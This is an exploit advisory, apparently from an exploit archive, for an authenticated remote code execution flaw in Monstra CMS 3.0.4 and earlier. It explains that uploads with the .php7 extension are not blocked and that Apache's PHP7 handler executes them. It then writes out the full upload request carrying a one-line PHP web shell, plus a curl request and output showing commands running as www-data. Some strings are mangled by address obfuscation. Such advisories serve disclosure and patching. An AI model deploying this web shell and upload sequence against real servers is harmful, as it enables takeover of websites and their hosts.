Monstra CMS 3.0.4 Code Execution

Monstra CMS versions 3.0.4 and below could suffer from a PHP7 remote code execution vulnerability if certain server conditions are met.

MD5 | 53fbf36a7e179014b9b4c9ef9e798b53

# Exploit title  :  Monstra CMS =< v3.0.4 - Authenticated Remote Code Execution
# Date : 21.02.2018
# Exploit Author : Hashim Jawad
# Website : ihack4falafel[.]com
# Twitter : @ihack4falafel
# Vendor Homepage:
# Software Links :
# Tested on : Ubuntu 16.04.3 LTS

**Vulnerability Requirements**
- User with edit or admin permissions.
- Apache2 webserver with PHP v7.0 (libapache2-mod-php7.0).

**Vulnerability Description**
Monstra CMS version 3.0.4 and eariler allow the upload of files with .php7 extension, which could lead to remote code execution. By default, PHP v7.0 configuration allows .php7 files execution, meaning
Monstra instances running on top of PHP v7.0 are vulnerable to this exploit, see below conf file:

[email protected]:~# cat /etc/apache2/mods-enabled/php7.0.conf
<FilesMatch ".+\.ph(p[3457]?|t|tml)$">
SetHandler application/x-httpd-php
<FilesMatch ".+\.phps$">
SetHandler application/x-httpd-php-source
# Deny access to raw php sources by default
# To re-enable it's recommended to enable access to the files
# only in specific virtual host or directory
Require all denied
# Deny access to files without filename (e.g. '.php')
<FilesMatch "^\.ph(p[3457]?|t|tml|ps)$">
Require all denied

# Running PHP scripts in user directories is disabled by default
# To re-enable PHP in user directories comment the following lines
# (from <IfModule ...> to </IfModule>.) Do NOT set it to On as it
# prevents .htaccess files from disabling it.
<IfModule mod_userdir.c>
<Directory /home/*/public_html>
php_admin_flag engine Off
[email protected]:~#

**Vulnerable Code**
See below Monstra vulnerable code from

public static function main()
// Array of forbidden types
$forbidden_types = array('html', 'htm', 'js', 'jsb', 'mhtml', 'mht',
'php', 'phtml', 'php3', 'php4', 'php5', 'phps',
'shtml', 'jhtml', 'pl', 'py', 'cgi', 'sh', 'ksh', 'bsh', 'c', 'htaccess', 'htpasswd',
'exe', 'scr', 'dll', 'msi', 'vbs', 'bat', 'com', 'pif', 'cmd', 'vxd', 'cpl', 'empty');

- Login as user with admin privileges.
- Upload cmd.php7

POST /webservices/monstra-3.0.4/admin/index.php?id=filesmanager&path=uploads/ HTTP/1.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: PHPSESSID=50s1tl42a993rkkbheasllcii6
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------142811919017951589212084055562
Content-Length: 547

Content-Disposition: form-data; name="csrf"

Content-Disposition: form-data; name="file"; filename="cmd.php7"
Content-Type: application/octet-stream

<?php echo shell_exec($_GET['cmd']); ?>

Content-Disposition: form-data; name="upload_file"


- Browse to cmd.php7 and execute code

[email protected]:~# curl -i -s -k -X $'GET' -H $'Host:' -H $'User-Agent: Mozilla/5.0 (X11; Linux i686; rv:52.0) Gecko/20100101 Firefox/52.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Referer:' -H $'Cookie: PHPSESSID=50s1tl42a993rkkbheasllcii6' -H $'DNT: 1' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -b $'PHPSESSID=50s1tl42a993rkkbheasllcii6' $''
HTTP/1.1 200 OK
Date: Wed, 21 Feb 2018 20:40:42 GMT
Server: Apache/2.4.18 (Ubuntu)
Content-Length: 54
Connection: close
Content-Type: text/html; charset=UTF-8

uid=33(www-data) gid=33(www-data) groups=33(www-data)
[email protected]:~#

Related Posts